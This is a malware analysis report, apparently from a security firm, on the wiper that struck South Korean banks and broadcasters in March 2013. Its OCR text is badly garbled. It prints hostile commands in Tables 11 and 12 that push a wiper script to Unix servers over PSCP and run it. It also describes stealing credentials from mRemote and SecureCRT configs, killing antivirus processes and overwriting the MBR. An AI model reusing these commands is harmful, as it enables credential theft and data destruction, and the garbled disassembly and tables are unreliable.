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1. Introduction

South Korean authorities were investigating a hacking attack that brought down the servers of

three broadcasters and two major banks on Wednesday, and the army raised its alert level due

to concerns of North Korean involvement.

Servers at television networks YTN, MBC and KBS were affected as well as Shinhan Bank and

NongHyup Bank, Jeju Bank three major banks.

We are currently performing detailed analysis of the threat. We can confirm that the malware

performs the following report.

1.1. Update’s status

1th Update
(2013/03/20
05:56 PM)

2nd Update
(2013/03/20
08:45 PM)

3th Update
2013/03/21
00:37 AM)

March 20, 2013 1:29:28 PM, it began Wednesday at about 2:20 p.m. local time.
South Korean broadcasters KBS, MBC and YTN, as well as the Jeju, Nonghyup
and Shinhan banks, saw their computer networks get knocked offline after their
PCs were infected with data-deleting malware. it began Wednesday at about
2:20 p.m. local time. South Korean broadcasters KBS, MBC and YTN, as well as
the Jeju, Nonghyup and Shinhan banks, saw their computer networks get
knocked offline after their PCs were infected with data-deleting malware.

The malware is believed to have spread from update servers of the companies’
computer systems. An update server is a computer to which PCs on a network

are connected for file and vaccine updating.

Investigators said the viral code was programmed to destroy the master boot
record of an infected PC, thereby making it unbootable and irrevocably
damaging the data stored in the affected area. Now we got a sample from

many customers PC. and this is report for result it

NSHC's research(Red Alert) on South Korean attacks, in more detail
We collected Additional malware samples in recovered disk. We updates result
of analysis maleware code. We're going to analysis that through dynamic

analysis and static analysis is in progress.

NSHC's research(Red Alert) on South Korean attacks, in more detail

We had submitted a report to the government agencies and financial
institutions. Malware sample analysis results, Master Boot Record (MBR) area,

including the volume boot record (VBR) up to corruption.
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NSHC's research(Red Alert) on South Korean attacks, in more detail.
We had submitted a report to the government agencies and financial

institutions. That report include that how to recovery our data as soon as

4th Update
(2013/03/21
06:57 PM)

possible. We Provide analysis reports to customers and security policy. we
worry about some of media’s speculative information. We just check the fact of
malware code. We Focused technical damage analysis and recovery is expected
to continue to work. Recovery automation solution developed to support

additional damage to corrupted data recovery system is completed.

IOV TEI-Il NSHC's research(Red Alert) on South Korean attacks, in more detail dropper
(PLRETOEYPYA files. It's “vit-rescan.exe” what dropped malware file. It destroy the Unix/Linux
00:00 AM) ENHGCIuE

[Table 1] 3.20 Summarizes of Cyber-Attack Analysis report

1.2, Target list

Nonghyup Bank KBS (TV Station)

Shinhan Bank MBC (TV Station)
TV Stations
Jeju Bank YTN (TV Station)

Nonghyup Life

[Table 2] Target of attack

1.3. Basic Info of Malware

S1-HVETL I ApcRunCmd_DB4BBDC36A78A8807AD9B15A562515C4.exe

24.0 KB (24576 bytes) db4bbdc36a78a8807ad9b15a562515¢c4

Filetype Win32 EXE Secret / customer request

Creation Unchecked (file integrity compromised)
Unchecked (file integrity compromised)

Unchecked (file integrity compromised)

[Table 3] ApcRunCmd.exe Info.
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File Name ‘ OthDown.exe

SIZE ‘ 24.0 KB (24576 bytes) 5fcd6eldace6b0599429d913850f0364

Filetype Win32 EXE Secret / customer request

Creation Unchecked (file integrity compromised)
Unchecked (file integrity compromised)

Unchecked (file integrity compromised)

[Table 4] OthDown.exe Info.

HICAEINCEE AmAgent.exe

SIZE 24.0 KB (24576 bytes) 5fcdbeldace6b0599429d913850f0364

Filetype Win32 EXE MBC

Creation Unchecked (file integrity compromised)
Unchecked (file integrity compromised)

Unchecked (file integrity compromised)

[Table 5] AmAgent.exe Info.

FIERNEN -l vti-rescan.exe

SIZE 417.5KB (427520 bytes) 9263e40d9823aecf9388b64de34eaeb4

Filetype Win32 EXE Secret / customer request

Creation Unchecked (file integrity compromised)

Unchecked (file integrity compromised)

Unchecked (file integrity compromised)

[Table 5] vti-rescan.exe Info.
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2. Behavior of malicious code

2.1. Type of Attack

A.APT Attack

The online attacks launched against multiple banks, insurance companies and television
stations in South Korea Wednesday knocked targeted networks offline. But according to Red
Alert Team the attacks were relatively unsophisticated and would have required little

infrastructure or expertise to launch.

Used in the attack, and found that the malicious code attempted to deactivate two
antivirus products that are popular in South Korea: AhnLab and Hauri AV. Despite that,
however, the malware hardly qualifies some advanced persistent threat.

The malware wiped Windows computers by overwriting their master boot record (MBR) and
any data stored on the PC, then instructed the PC to shut down, "which renders the

computer unusable as the MBR and the content of the drive are now missing

l o2 WO

oy gAlmer ot gonz mienitl
o180 mIlFT-ICL M MFTU M
LIEL O1go) mER =21 TR MeB-ICH

4

[Figure 1] ATM Error
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2.2. Behavior flow

2.2,1, Dropper Behavior flow

Execution of Dropper
(vti-rescan.exe)

Generating Files

“m"“ 9 the server

File Transfer Program A=
(comime.exe)

[

Command File :
(~ptrLtmp) Extra ct:: on of_a ccount

~v3.log
Checking the Transfer of Server

presence of Command file
the file (SunOs, ALX, HP-UX, Linux)

Execution Malware [

(ApcRunCmd.exe) Termination ](_

[Figure 2] Dropper Behavior flow

2.2.2. Malware Behavior flow

(ApcRunCmd.exe) (AmAgent.exe)

ChecN
local time

(after 20130320
14:00)

[ Execution of Malware ] [ Execution of Malware ]

Checking the presence
of the file
(WERLT)]

Process forced
termination
(Pasvc.exe, Clisvec.exe)

Process forced
termination
(Pasvc.exe, Clisvc.exe)

Checking OS version
Checking Physical Disk MBR Destroy

Checking Physical Disk MBR Destroy

Checking Driver VBR Destroy

Checking Driver VER Destroy

Rebooting Rebooting

[Figure 3] Malware (ApcRunCmd.exe, AmAgent.exe) Behavior flow
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2.3. Damage results

Overwrite some areas of the Master Boot Record (MBR), the system does not boot properly.

(Master Boot Record) data modulation

I'rigtmg to bBoot From Preisardg

Maste

Irying to koot [rom CO-ROM dreiw

Treyimg to boot fr
rl"I|i|||| to koot [rom

o koot dewvice iz available,

Mryimg to [T Fr i mary A
I'eijimg to Boot Prom CD=-EOM dr b . .

available o

Ieyjimg Lo Boot From Preisarg

M

Treyimg to koot rom CD-ROM dei

Yo hisnt deviceE 15 awval lak

Mryimg to boot [rom Pr

|'|'||i|||| to boot [rom CD-ROM drive

0 hoot dewvice iz available,
Iryimg Lo koot [rom Pr I By
Iryimg to boot from Cl

Mazter

< LDE die1ve

Failed.

nter to o
» IDE dr

nter to cr
« [DE driwe

failed.

nter to oi
» IDE drive

Failed .

IDE dris
Failed.

nter to o

Fadled

[Figure 4] Damage of PC
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3. Detail Analysis of dropper (vti-rescan.exe)

3.1. Drop the malware to PC

A.Execution of the code below the the Puty console version and SCP console version.

Create a shell script that runs the system destroyed. (Target: Unix, Linux)

EEETCEE TN = PUSH E=l R
HA4AZ4CE SBCE MO ECH. ERH

oElB4BE4EEI = BA A44C418a |HMOU EDX, a8414CA4 ASCII "alg.exe""
HE4E24C0 | § - ES ZEFOFFFF | CHLL BEB8482288 LOropperr . AEdE22E8
BR4EZ40Z | L N0 ESE
EEdEz405 |« 2ECH TEST ERX,ERA
HEA4E2407 || -~ BFS8d4 SoazaEal J2 BE4E2933
AadEaz400) | « &8 Fe4C41E88 | PUSH 80414070 FTupe = "BIM™
EEdEz4EZ |« &B S2EEEEEE | FUSH 22 Mame = I0 128.
HEA4EZ4EY || - B& FUUSH ESI hHodu le
HadEz4es ||« FFLIS 487C41@0 CALL DWORD FTR OS:[417C48] LKERHELZZ.F indResourcerA
HEAd4E24eEE|| - 2ECE TEST EHRX,ERA
BB4BE4FB 12 = Ao D
AadEz4FEe | f . BB FUUSH ESI FAral
HEA4E24F7 | § - SBCE MO ECH. ERE

9 HEA4E24FS | § - BR AC4C41@8 | MO EDX, B84 14CAC ASCII "conime.ene™
EEdEz4FE| |« ES FOFCFFFF | CALL BB4E22EE8 L Oroppe . BE4EZ 2605
HEA4E2EED f - 2304 @4 HOO ESF, 4
AEAEZEEE [ DoLE TEST EH=,EHR
EE4EZERS (]« BFSd4 2EAZEEE| 7 BE4E2233
HA4EZEEE || - &8 FE4C4188 | PUSH B0414C708 [Tups = "BIM™
Aad4Ez513) | « &8 S38EAREE | PUSH 83 MHame = IO 131.
HEadEz512] - e FUSH ESI hHadu le
HEA4E2519] - FFLIS 487C41@0 CALL DWORD FTR OS:C417C481] LKERHELZZ.F indResourceA
AadEzE1F ||« SECE TEST ERX,ERX
HA4A2521 | L =3
HA4EZE27 B BB FUUSH ESI FHrgl
ERdEzEZ2 | - BBLCE MO ECK, ERX

9 HAA4EZE2A | § - BR BB4C41@8 | HMOL EDX, BE414CB2 ASCII ™prl.tmp™
HAAadE252F | § - ES CCFCFFFF | CALL BE4622868 LOropper. BA4E2 268
HEA4EA2539 "AOL Eoretr
HA4AZ537 S5CH TEST EHH,ERX
HAA4E2539 | - BFE84 F4BAzZEEA1 JE BE4E2533
HEA4EZE3F || - &8 FE4C4188 | PUSH 80414078 FTups = "BIM™
HA4EZE44 || - &8 S48EEREE | PUSH S4 Mame = IO 132,
ERGEZE43 ] = BE FUSH ESI hModu Le
HEA4E2544| - FELE 487C41@ CALL DWORD FTR DOS:C417C48] LKERMELZZ.F indResourceA
HAad4E25560| ]« BECE TEST ERX,EAR=
FRGEZEEZ | =
HA4AZEES R - - BG FUUSH ESI FArgl

e HAd4E2559 | § e BBCE MO ECE,.ERX
HEA4EZEEE | § - BR FE4C4188 | HMOY EDR,B8414072
HA4AZE6H EE SBFCFFFF I:FI& BEHEIEE’IB -I:II‘DDI:-EI‘.E’IEHIBEBB

[Figure 5] Malicious code analysis Drop part

B.Below file list in [Table-7] created in %USERPROFILE%¥Local SettingsWTemp

O alg.exe : Putty Console (Build 2013.02.14 23:14:13)

@ conime.exe : PSCP Console (Build 2006.03.13 23:32:43)

© ~prl.tmp : Shell Scipte file (SunOS, AIX, HP-UX, Linux After system check, delete files
in system.)

O AgentBase.exe : In the Windows’s case, MBR, VBR destroy (EX> ApcRunCmd.exe)

[Table 7] Drop malicious code information

C.You can be seen as follows: the file was created.
= 37
a1, exe 6KE == =2 1% |
g conime, exe I50kE S& =2
&= ~prl.tmp kB TMP THY
kB 28 =18

[Figure 6] Drop malicious code
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3.2. v3.log file check (Windows’s system destroy)

if malware checked the exist file(C:WwindowsWtemp#~v3.log), than malware code didn't find

the file. It execute the AgentBase.exe or ApcRunCmd.exe.

BE4E2398 &1 FUUSH ECx Euffer =» DFFSET LOCAHL.EE
BE4E2337 53 B3016068 | PUSH 1&3 [BUFSLEE = 289,

BE4E2330 FF15 1@Fa4aal CALL DWORD FTR OS: C46FE16] KERHELZZ. Get TempPathA
BE4E23A2 SD25 FEFEFFFILER ER:, [LOCAL. 5]

BE4E23A 43 DEC ERX

GE4Ez2A2 )« SDA424 oE@@a) LEA ESF, [LOCAL. &6]

GE4Ez2EE| ] > SR48 81 HaL EL EVTE PTR D5:[ERAX+11]

BE4823E3|] « 48 INC_EAN

BE4823E4 24C9 TEST CL,CL

BE4823BE 7S F3 JHZ_SHORT BE4Ez3Em

BE4E23B3 SE1S Fad4C41en Moy EDE, DWORD PTR DS:[414C73]

BE4823BE SBED YC4C418n Moy ECH, DWORD PTR DS:[414CFC] ASCII "tBase.ene™

BE4E23C4 s21a HMOL DWORD PTR DS: CERK], EDH

BE4E23CE SE1S Sad4C4ian Moy EDx, DWORD PTR DS:[414C28] RASCII "e.ene"

BE4E23CC 2948 64 MOL DWORD PTR_DS: CERK+4],ECH

BE4E23CF E6:2B0O0 3440 MOU Cx, WORD PTR DS:C414C384]

BE482306 2958 62 HMOL DWORD PTR DS: CEAX+E]1,EDx

BE4a2303 &3 854C4108 | PUSH @a414C83 Fath = "ci~windows~temp~~"wv3. log
BE48230E S5:8942 BC | MOU WORD PTR DOS: CEAR+HEC], CH [

BE4E23E2 FF15 S4F14@0 CALL OWORD FTR OS: [4E8F154] SHLWAFI.FPathFileExistsA
BE4E23E2 SECE TEST EHx,EHX

BE4823ER 7S HE JHZ SHDRT BE4E23FA

BE4823EC 1] Show

BE4E23ED 2095 FEFEFFFI LEH EDX [LOCAL. 851

BE4E23F3 52 FUSH ED% Crdline =: OFFSET LOCHL.GE
BE4E23F4 FF15 14F@4aa) CALL DWORD FTR OS: C4E6FE14] KERMELZZ2.WinExec

[Figure 7] v3.log Partial analysis file check

3.3. Check the remote management tools(Linux/Unix System Destroy)

Check the file of remote management tool for remote access

68 15404108 FUSH aad4140138 Eormat = "Hslocal Settings~Application Data~Felix_Deimel~mRemate~confCons.=ml™
ig=}

Ef 32220800 || CALL @8484A05 Lﬁi e EFNEEN N

S3C4 8c AODD ESF, &C

202424 5281681 ) LER ERX, [ESP+152]

5@ FUSH EAX

&8 SC4041@@ || PUSH B841405C b i i DOuke~Copfig-Secsionsr

EE 1B JHMP SHORT @a4az70a

&3 22404188 || PUSH @a414D038 Format = "HsAppDatasLocal-Felin_Deime l»mRemote~confCons.iml™

5z PUSH EDX [Flrgl

EZ 15230866 || CALL @a464A05 Dropper . A8484A05

SEC4 |C AOD ESF,HC

508424 586181) LER EAX, [ESP+158]

1] FUSH EAX

68 BC404108 FIUSH a84140BC ASCII "HsPAppData~Roaming-UanDuke~Conf igwSessions™

S02C24 FEE2E0) LER ECH, [ESP+37E]

51 PUSH ECH lﬂrgl

E2 Fa2zo8a6 || CACLYEE464A05 Oropper . A64E4A0S

[Figure 8] Checking and Analysis configuration file

3.3.1. Extraction of Server Info.
Extraction file about remote management file (Felix Deimel, mRemote, VanDyke, SecureCRT)

for remote access

Windows XP, Windows 2003 Server

%USERPROFILE%tLocal SettingsWApplication DatattFelix_Deimel#mRemoteWconfCons.xml
%USERPROFILE%WApplication DataWVanDykeWConfig#Sessionst#*.ini

Windows Vista, Windows 7
%USERPROFILE%WLocalWFelix_Deimel##¥mRemoteWconfCons.xml
%USERPROFILE%WAppData¥Roaming#VanDykeWConfigWSessionsW*.ini

[Table 8] Extraction of server Info

facebook.com/nshc.redalert © 2013 Red Alert. All Rights Reserved. 10
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A.Case of ‘mRemote’, Malware extract the Account info, Password, Host, Port, etc...)

FUSH a4 14E684

FUSH ECK

CALL aa484Ban

HOD ESF, 3

TEST EHX,ERX

JE o BEdE3eEs

LEA ED:, CLOCAHL. 28921
PUSH @a414E14

PUSH ELD<

CALL da484Ban

ADD ESF, =

TEST EHX,ERX

Ji BE4EZEEE

LEA ER&, CLOCAL. 28921
FUSH 88414E24

FUSH EHX

CALL BEE484BaH

AOD ESF, 2

TEST EHX,ERX

JHE BE4EZEEE

LEA EBE:, CLOCAL. 1341
MOU EDx, 88414E34
LEA ECi, CLOCAHL. 28921
CALL 884832EQ

LEA EBE:, CLOCAHL. 3931
MOU EDx, 88414E40
LEA EC:, CLOCHL. 28921
CALL 88483ZED

LEA EE:, CLOCAHL. 3321
MOU ED=, 88414E43
LEA ECH, CLOCAL. 28921
CALL 8848zZEQ

LEA EEm, CLOCAL. 651
MO ED, 8841 4E5H

LEA EC:, CLOCAL. 289321
CALL BE4832EQ

LEA EBE:, CLOCAHL. 2661
MO ED, 8841 4E5S

LEA EC, CLOCAL. 289321
CALL BE4832ER

ra2 = SECname=" oot
[Hrgl =» OFFSET LOCAL.z289%2
Oropper . BE484BEE

Aral = OFFSET LOCHL.Z2293

[HrgE = ASCII "Protocol="SSH™
Oropper. BE4E4BEE

Aral =* OFFSET LOCHL.Z2293

[HrgE = ASCII " Password=""""
Oropper. BE4A4EAE

ASCII "Hostnams"
COropper . BE4R32ER
ASCII "Desce'”
COropper. BE4B32EG
ASCII "Fanel"
COropper. BE4B32ER
ASCII "Port™
COropper. 8403 2EH
ASCII "Fassword™
C0ropper. A84832ER

[Figure 9] ‘mRemote’ Analysis of information extraction part

B.Below the Table-9, Extraction info from ‘confCons.xml’ file

<Node
Username="root"
Protocol="SSH"
Password=""
Hostname
Descr

Panel

Port

Password

[Table 9] ‘confCons.xml’ extract the target information.
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C.Malware extract valuable information in ‘VanDyke’' It also extract the program'’s

account info and password, hostname, etc...

LEA ECH, [LOCAL.918]

FUSH @@414F1C Hrg2 = ASCII "S:"Protocol MHame""=SSH™
PIUSH ECH [ﬂrgl =—> OFFSET LOCAL.91&

CALL Aad4EdBeE Oropper. @E4E4BSH

AOD ESFP, =

TEST ERX,.ERX

JZ2 BE4Aa47E7

LEA EDx, [LOCAL.21@a]

PUSH BA414F24 Hraz = ASCII "S:"Username™=root™
FIUSH ED- [Hrgl => OFFSET LOCAL.921a

CALL AA4E4B&8 Oropper. 88404B5E

AOD ESP, &

TEST ERX,ERX

JE BE4E4FET

LEA ERX, [LOCAL.918]

FUSH @ad414F42 Hraz = ASCII "D:""Session Password Saved—@@@@@EElt™
PIUSH ERX [ﬂrgl = OFFSET LOCAL.918&

CALL Aad4EdBeE Oropper. BE4E4BCH

AOD ESFP, =

TEST ERX.ERX

JZ2 BE4a47E7

LEA ECH, [LOCAL.21&]

PUSH B@a414F&C Hrgz = ASCII "S:"Hostname''="
FIUSH ECH |Hr31 —> QOFFSET LOCHL.91d

CALL Aad4a4BeA TOppET.

[Figure 10] ‘VanDyke' extract the target information.

D.Check the “*.ini" file and extract the target information.

S:"Protocol Name"=SSH
S:"Username"=root

D:"Session Password Saved”=00000001
S:"Hostname"=

S:"Password" =

D:"[SSH2] Port"=

[Table 10] “*.ini" extract the target information.

3.3.2. Before Command completion, check the extraction server info.
A.Respective account information, passwords, and port, server IP in the configuration file

by extracting specific commands generated as follows:

FUSH Bi414ERE Format = "#s —batch -F #s™-1 Hs —pw Hs XZs Hsi-tmproups”
PUSH ERX Hral =» OFFSET ARG.Z2&58

CALL Ba464a05 Oropper. B8484A05

HMOU ECH,DWORD PTR S5:[ARGE.3]

PUSH ESI

PUSH EDI

PUSH EEX

FUSH ECH

LEA ED, [ARG. 2821
PUSH _EDX

LEA ERX, [ARG.5241

FUSH 884 14ED08 Format = "de —batch —P Hs -1 Hs —pw Hs ¥z "chmod 7EE “tmproups)Stmpsocups™™
PUSH EAH Aral =r OFFSET ARG.S524

CHLL B@4@84A05 Dropper . 88484A05

AOC ESF, 3C
FUSH 1

| FA Frx. [ORE. 2AA1 1

[Figure 11] Server information extraction after Command Generation

%TEMP%Wconime.exe -batch -P Port -l root -pw pass %Temp%W-~prl.tmp server IP:/tmp/cups
%TEMP%Walg.exe -batch -P Port -l root -pw pass server IP "chmod 755 /tmp/cups;/tmp/cups”

[Table 11] Generated Command.
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B.Transfer the files via generated command, and It access system via Putty for next

threat
&2 vd4E41688 | FUSH BBE414E74 Format = "Hewcmd.exe o Xs™
51 FUSH ECH [Hrgl =» OFFSET LOCAL.13S
Eg FOll1086a8 |CALL G6464A05 Dropper. 38484005
22C4 1@ AHDD ESF,. 18

2095 COF9FFFI LER ED, CLOCAL. 488 ]
B2 FUSH ED:
EESE F4F2FFF| LER ERx, [LOCAL.419]

pProcessIlnformation => OFFSET LOCAL.4B88

PUSH ERA pStartuplntfo => OFFSET LOCHL.419
53 FUSH EEBEX CurrentDirectory
=4 FUSH EE= pEnvironment
5H 26 PUSH 28 CreationfF lags = HORMAL_PRIORITY_CLASS
&R A1 FUSH 1 InheritHandles = TRUE
=4=] FUSH EE: pThreadSecurity
&= FUSH EEX pFrocessSecurity
S0s0 E4FDFFFI LEA ECH, [LOCAL.1351]
51 FUSH ECx CommandlL ine =»> OFFSET LOCAL.135
=4 FUSH EE= Hepplicat ionMame

FF1S 4aFa4enl CALL DWORDO PTR DS: [468FE4 KERMELZZ. CreateProcessA

a4a3]
2B95 E@F2FFFI MOW EDX, DWORD PTR S5: [LOCAL.292]
B30 ddEGAAREl MOl EST OWOR0 PTRE NS- TAREALD ]

[Figure 12] Generated Command

C.Malware run the below commands to process

cmd /c %TEMP%¥conime.exe -batch -P ZE -l root -pw IJALE %Temp%W~prl.tmp SAE:/tmp/cups
cmd /c %TEMP%Walg.exe -batch -P ZE -l root -pw IfARE SAE "chmod 755 /tmp/cups;/tmp/cups”

[Table 12] Excute Command

Through the action of the above, the results obtained are as follows.

‘vti-rescan.exe’ create a 7 files (alg.exe, conime.exe, ~ptrl.tmp, AgentBase.exe), and
check the “v3.log” file. And execute AgentBase.exe(Windows). If v3.log file exist than,

transfer file(~ptrl.tmp) for delete system through conime.exe(SCP), alg.exe(Putty)

[Table 13] ‘vti-rescan.exe’ execute result
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4. Detailed analysis of the attack code (system destroyed)

4.1. MBR Area Overwriting.

Overwrite the value Overwriting the data in some areas of the Master Boot Record (MBR),
and malicious code within the MBR area. Overwrite target is Physical Drive. finally "shutdown-

r-t 0" command to reboot induction.

TR — Nffsat 01 7 3 4 5 A& F & 91011 17 13 14 15 -
Hard disk 2 00DoDDDDDOD[4S 41 S3 5S4 41 S4 45 ZE 42 41 53 S4 41 S4 49 2E  QASTATI.HASTATI ]!
Model STEEDA0AS noonnnonniaf4s 41 53 54 41 54 49 ZE 48 41 53 54 41 54 49 PE HASTATI .HASTATI .|
Bus U8 poooooonnzz|4s 41 53 54 41 S4 43 28 43 41 53 54 41 54 49 25 HASTATI .HASTATI .
. DDODDDDDD4B)4E 41 53 5S4 41 S4 45 2E 43 41 53 54 41 5S4 43 2E HASTATI .HASTATI
Ciale original 000000000G4{45 41 53 54 41 54 49 ZE 43 41 53 54 41 54 49 2 HASTATI HASTATI.
T O00000000BO)4E 41 5% S4 41 S4 45 2B 45 41 53 54 41 54 49 25 HASTATI HASTATI |
Unco reveraes: o/ DOODDDDD0OG{45 41 53 5S4 41 G4 49 ZE 43 41 53 54 41 54 49 22 HASTATI .HASTATI .

00000000112)48 41 53 54 41 S4 49 ZE 48 41 53 54 41 54 49 PE  HASTATI .HASTATI |

Total capacity; 23IGE 00000000126[458 41 53 S4 41 5S4 48 ZE 45 41 53 54 41 5S4 49 2E HASTATI HASTATT |
2E0EOSE00E byles noDOODOD144]|45 41 53 5S4 41 54 43 ZE 43 41 53 54 41 54 49 PE HASTATI .HASTATI.

| Byles per sacior £12 |0000000D160[45 41 S3 5S4 41 54 42 2E 43 41 53 54 41 54 43 2E | HASTATI .HASTATI.

anoooonoiFag4s 41 53 54 41 54 49 ZE 45 41 53 54 41 54 49 ZE HASTATI HASTATI .
OODOODDO192)42 41 52 54 41 5S4 49 ZE 42 41 53 54 41 54 49 2E HASTATI .HAETATI.
Elr?::::t'm - LPTE?;EII DoDonooDzZoEy4S 41 53 54 41 54 49 ZE 43 41 53 54 41 54 49 2ZE  HASTATI HASTATI.
Clleate: decimal D0000000Z24[45 41 53 54 41 54 49 2E 43 41 53 54 41 54 49 2B HASTATI .HASTATI .
Byles per pagel  24y16=E44 (DDDDDDDD24D0458 41 53 S4 41 5S4 49 ZE 43 41 53 54 41 54 49 YE HASTATI .HASTATI ||
O0DODDDOZS6)40 41 53 54 41 54 49 ZE 40 41 33 54 41 54 4% ZE HASTATI HASTATI.
oooooooozs 248 41 53 54 41 54 49 2B A8 41 53 54 41 54 49 2E HASTATI .HASTATI |
DODDDDDDZERY4S 41 53 54 41 54 49 ZE 43 41 53 54 41 54 49 ZE HASTATI HASTATI .|
Clipboard: avail=ble DODDOOODDJD4)40 41 53 54 41 54 42 ZE 40 41 53 54 41 54 49 2E HASTATI .HASTATI.
TEMD faldes 758 08 free 00000000320045 41 53 54 41 5S4 49 28 48 41 53 54 41 54 49 25 HASTATT HASTATI .
ngWaoplatalocalW Temp [D0DD0O0DD0D336)42 41 53 5S4 41 5S4 49 ZE 43 41 53 5S4 41 54 49 2E HASTATI .HASTATI.
OODDODDDDAS2)48 41 52 54 41 54 49 ZE 40 41 53 54 41 54 4% 2E HASTATIHASTATI.
<P noO0noooseE4E 41 53 54 41 54 49 2E 45 41 53 54 41 S4 49 2E | HASTATI .HASTATI |
OODOODDOD3E4)42 41 53 54 41 5S4 49 ZE 43 41 53 5S4 41 54 49 2E HASTATI .HASTATI.
ODDODDDO4DOJ45 41 53 54 41 54 49 ZE 40 41 53 54 41 54 49 2E HASTATI .HASTATI.
noonnooo41e)48 41 53 54 41 54 49 2E 45 41 53 54 41 S4 49 ZE | HASTATI .HASTATI |
O0D00DDO432)42 41 53 5S4 41 S4 49 ZE 43 41 53 5S4 41 5S4 49 22 HASTATI _HASTATI.
|DDDDDDDD44E| 48 41 53 54 41 S4 49 ZE 40 41 53 54 41 54 49 2E HASTATILHASTATI.
\oooooooo4e4g4E 41 53 54 41 54 49 2B 48 41 53 54 41 54 49 ZE | HASTATI (HASTATT .|

OODDDDDO4BO OO OO 0o o0 OO0 OO oo oo o0 oo oo od o0 00 a0 ad

OODDDDODO4%96 OO0 00 QOO0 OO0 00 QO 00 03 OO0 02 02 OO Q0 20 a2 oo

noonnonns1z 33 C0 8E OO0 BC 00 7O FB S0 OF S0 1F FC BE 168 70 3A19M |4P P u¥ |
NNANOOONS2R FF 1R Nf S0 57 RG FS N1 F3% 24 PR B0 RF N7 B1 N4 | - Dedd asFids + 7
. -

Sector 0 of 4282357168 Citzat a =72 Block

[Figure 13] MBR area of modulated data
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8 006

| | ApcRunCmd_DB4BBDC36A78A8807AD9B15A562515C4

T
18464
18488
18512
18536
18566
16584
10688
18632
18656
10680
18704
18728
18752
18776
18500
18824
18848
18872
18896
18926
18944
18968
18992
11016
11848

Hex = Text )

Find [HASTATI

Replace
Replace All
fOLL{ICD DOODJLLIY JDLULLLD UUI0DDrA LUJ0rcos UCCoL/or
7B6619DA 758E4EGE ECAAFCAD 7CEES9BF 676B6DZE 5D735957
67706986 BDASSB2F 671E3C73 D76AR96F 679A2B7E SBES1C28
CF7849087 BSFSBEDA 59030008 BBE16476 61706933 322E646C
6CO000NA PANNNORG PA1DAARA BAGBASTZ AEASAC33 322E646C
6CARPAND APPRNOOE PRNOBERE BBEDT3T6 6372742E 646C6CHA
APNNRN0NG PPNNDOOD POB1ABRA BAT3686C 77617069 2E646C6C
NAARPRRD ABPRNOBE PROLAEPE BATS7365 7233322E A46C6CHA
A0ARPRRD AEPPNOBA BA4A4F3E8 34303131 32204352 41533834
36382031 31313538 39323320 58434938 32373356 ©A5G5249
4E435@45 53084841 53544154 492E@ASC 54656078 SCTET633
Z2EGCEFRT BB423A5C BASCABZE 2EAG2573 2A2E2408 5A726F67
72616020 46696C65 73005872 6F677261 6D446174 610882573
25730025 633A5CH8 SCEC2ESC 25633400 BCEC2ESC 50637973
6963616C 44726976 65256408 25730873 68757464 6F776E20

65676500 74617368 6B696CEC 202F4620 2F494D20 70617376
632E6575 65087461 736B6B69 6C6C202F 46202F49 4D20636C
69737663 2E657865 BOSBE3B23 4DFS23FE BBCF7505 83C314EB
E63BDE75 593BEDFC 73118376 05007508 53031459 SDOSEBED
3BEDFC7S 268BDASE DS895DAS 730D837E B80O7505 S3C314EE
EE3BDE75 BEES3502 00005BDS S5DBS9SD B5741453 ESDABZED
BO598B4E 168909158 43108338 FF750733 COE9OFOZ 00005910
30544000 5B43105B 1083FAFF S§955FC74 148B8C90 C4000000
8B7C9844 234DF523 FEGBCF7S 378B98C4 0OOOOOSE 70442355
F82375F4 8365FCOB 8048440 DEBB7SF4 75178691 84000000

Reprlac'e” 'R'erplrarce & Find

[1ca
20722020 74203000 53655368 T574646F TTEESET2 6ITEEIEC | |
ege taskkill /F /IM pasv

[ Previous | Next
Yoy oWy U

Eo wee o
In¥ gkm.]sY.

{f .u.Nighe

gpi.].[/g <s.i¥og.+~[. (

2 W advapi32.dl

L kernel32.dl

L msvcrt.dll
shlwapi.dll
user3z.dll

J08408112-CRASE4
68-11150923-PCI8273VPRL]
ATemph~v3
.log B:y N .. ¥s*.¥ Prog
ram Files ProgramData %s
¥s ®ocih ALAKc: AL EPRYS]
Tive S _shutdown
-T - eShutdownPrivil

c.exe taskkill /F /IM cl

isvc.exe .;#M.#. .u @, .
jeu¥i].es ©f uw @, L] L.
s].ub..5..] s ®f u @,
e3eld B eiean ]t S..
¥.K . .C ®8.u 3..

aTe .C . ®...U.t ....

.| .D#ML#. Lu7. .. .pD#U
Hu.de. JHD ..ulu L.,

[Figure 14] PhysicalDrive (To be replicated values and reboot commands)

® O O || ApcRunCmd_DB4BBDC36A78A8807ADIB15A. ..

Hex Text | Find shutdown -r -t @

Replace

= Replace All | Replace Replace & Find | Previous = Next
L&O%U HESASTI0 JH9I0ILOL JZLU%I0L4 T1LD2J00% JUOHELLZ-LEADOY
18656 | 36382031 31313530 39323320 58434935 | | 68-11158923-PCI8
18672 | 32373356 BA5E5249 4E435@45 53004841 | | 273Y PRINCPES HA
18665 | 53544154 492E0B5C 54656078 BLCYETE33 | |STATI. ATemph~v3
168784 | 2ZE6CEFET BA423A5C ABSCAAZE 2E002573 | | .log B:Y N .. &s
18726 | 2AZE2AB8 BAT26F6T 72616D28 46696C65 | | * .* Program File
16736 | 73005072 6F677261 60446174 61802573 | |s ProgrambData %s
18752 | 257300825 633ABCHA SCECZERC 25633400 | | ¥s ¥oc:\ A\h.AKo:
168765 | BCECZ2ESC 5A6BT973 69636160 44726976 | | WM. A\PhysicalDriv
18784 | 65256400 25730873 68757464 6F776E28 | |eXd ¥s shutdown
16566 | 20722020 74263088 53655368 7574646F | | -r -t B SeShutdo
18516 | 776EEA72 6976696C 65676508 74617366 | |wnPrivi lege [TasK]
18532 | 6B696CEC 282F4628 2F494D28 7A617376 | |(kill /F /IM pasv
16545 | 632E6575 65007461 736B6B69 6C6C202F | |c.exe taskkill /
16564 | 46202F49 4D20636C 69737663 2E657865 | |[F /IM clisvc.exe
1a5568 | 86563623 4DF523FE BBCF7585 S3C314EB GEREMLED Ju D,
18596 | E63BDET5 593B5DFC 73118376 B50@7588 | | .;.u¥;i].s ®f wu
18912 | 83C31459 SDBSEBED 3BSDFCTS 268BDA3E | [®. .] ..3].u..;
18923 | DBE95DAS 73608376 08AATVEA5 S3C314EB || ..] s ®f u ©. .
18944 | EE3BDS75 BEES3502 @0@B3BEDS 85DBS95D | | .;.u .8 ..... ]
1A9AA | AR7414R2 FRNAA?AR ARRAQSR4R 1ARAA1RR t S Y K

[Figure 15] pasvc.exe and clisvc.exe process kill
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4.2, Check the malicious code string.

The ApcRunCmd.exe malicious code string value is in the area, MBR Overwriting 'HASTATI' for

value and 'pasvc.ex through the shutdown command to reboot the' clisvc.exe process exit

| HASTATI. |
